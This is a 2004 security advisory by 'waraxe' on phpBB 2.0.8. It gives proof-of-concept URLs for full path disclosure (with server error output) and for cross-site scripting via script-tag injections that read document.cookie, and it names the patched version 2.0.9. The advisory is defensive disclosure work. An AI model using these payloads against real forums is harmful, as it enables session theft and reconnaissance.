{=======================================================================
=========}

{ [waraxe-2004-SA#034] }

{=======================================================================
=========}

{ }

{ [ XSS and full path disclosure in PhpBB 2.0.8 ] }

{ }

{=======================================================================
=========}

Author: Janek Vind "waraxe"

Date: 16. July 2004

Location: Estonia, Tartu

Web: http://www.waraxe.us/index.php?modname=sa&id=34

Affected software description:

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

PhpBB is widely used and very popular forum software, written in php.

Homepage: http://www.phpbb.com/

Vulnerabilities:

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

There are some uninitialized arrays in phpBB code, which can lead to XSS and full

path disclosure. "register_globals" must be enabled on server for those bugs to be

exploitable.

A - Full Path Disclosure

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

A1 - full path disclosure in "index.php":

http://localhost/phpbb208/index.php?category_rows=waraxe

Fatal error: [] operator not supported for strings in

D:\apache_wwwroot\phpbb208\index.php on line 120

A2 - full path disclosure in "language\lang_english\lang_faq.php":

http://localhost/phpbb208/faq.php?faq=waraxe

Fatal error: [] operator not supported for strings in

D:\apache_wwwroot\phpbb208\language\lang_english\lang_faq.php on line 41

A3 - full path disclosure in "language\lang_english\lang_bbcode.php ":

http://localhost/phpbb208/faq.php?mode=bbcode&faq=waraxe

Fatal error: [] operator not supported for strings in

D:\apache_wwwroot\phpbb208\language\lang_english\lang_bbcode.php on line 46

A4 - full path disclosure in "includes\usercp_viewprofile.php":

http://localhost/phpbb208/profile.php?mode=viewprofile&u=2&ranksrow=wara
xe

Fatal error: [] operator not supported for strings in

D:\apache_wwwroot\phpbb208\includes\usercp_viewprofile.php on line 46

B - Cross-site scripting aka XSS

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

B1 - XSS in "index.php":

http://localhost/phpbb208/index.php?category_rows[0][cat_id]=1

&category_rows[0][cat_title]=waraxe<script>alert(document.cookie);
</script>

&category_rows[0][cat_order]=99

B2 - XSS in "language\lang_english\lang_faq.php":

http://localhost/phpbb208/faq.php?

faq[0][0]=f00<script>alert(document.cookie);</script>bar&faq
[0][1]=waraxe

B3 - XSS in "language\lang_english\lang_bbcode.php ":

http://localhost/phpbb208/faq.php?mode=bbcode&

faq[0][0]=f00<script>alert(document.cookie);</script>bar&faq
[0][1]=waraxe

How to fix:

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Affected versions are 2.0.8 and probaly older 2.x versions too.

Vendor has released new version - 2.0.9 - which is patched against discussed

bugs and contain many other improvements.

phpBB 2.0.9 packages can be downloaded at:

http://www.phpbb.com/downloads.php

Additional information and discussion at waraxe forum:

http://www.waraxe.us/forums.html

Greetings:

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Greets to Raido Kerna and to http://www.gamecheaters.us staff!

Special greets to icenix and slimjim100!

Tervitused - Heintz ja Maku!

Contact:

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

come2waraxe (at) yahoo (dot) com [email concealed]

Janek Vind "waraxe"

Homepage: http://www.waraxe.us/

---------------------------------- [ EOF ] ------------------------------------

[ reply ]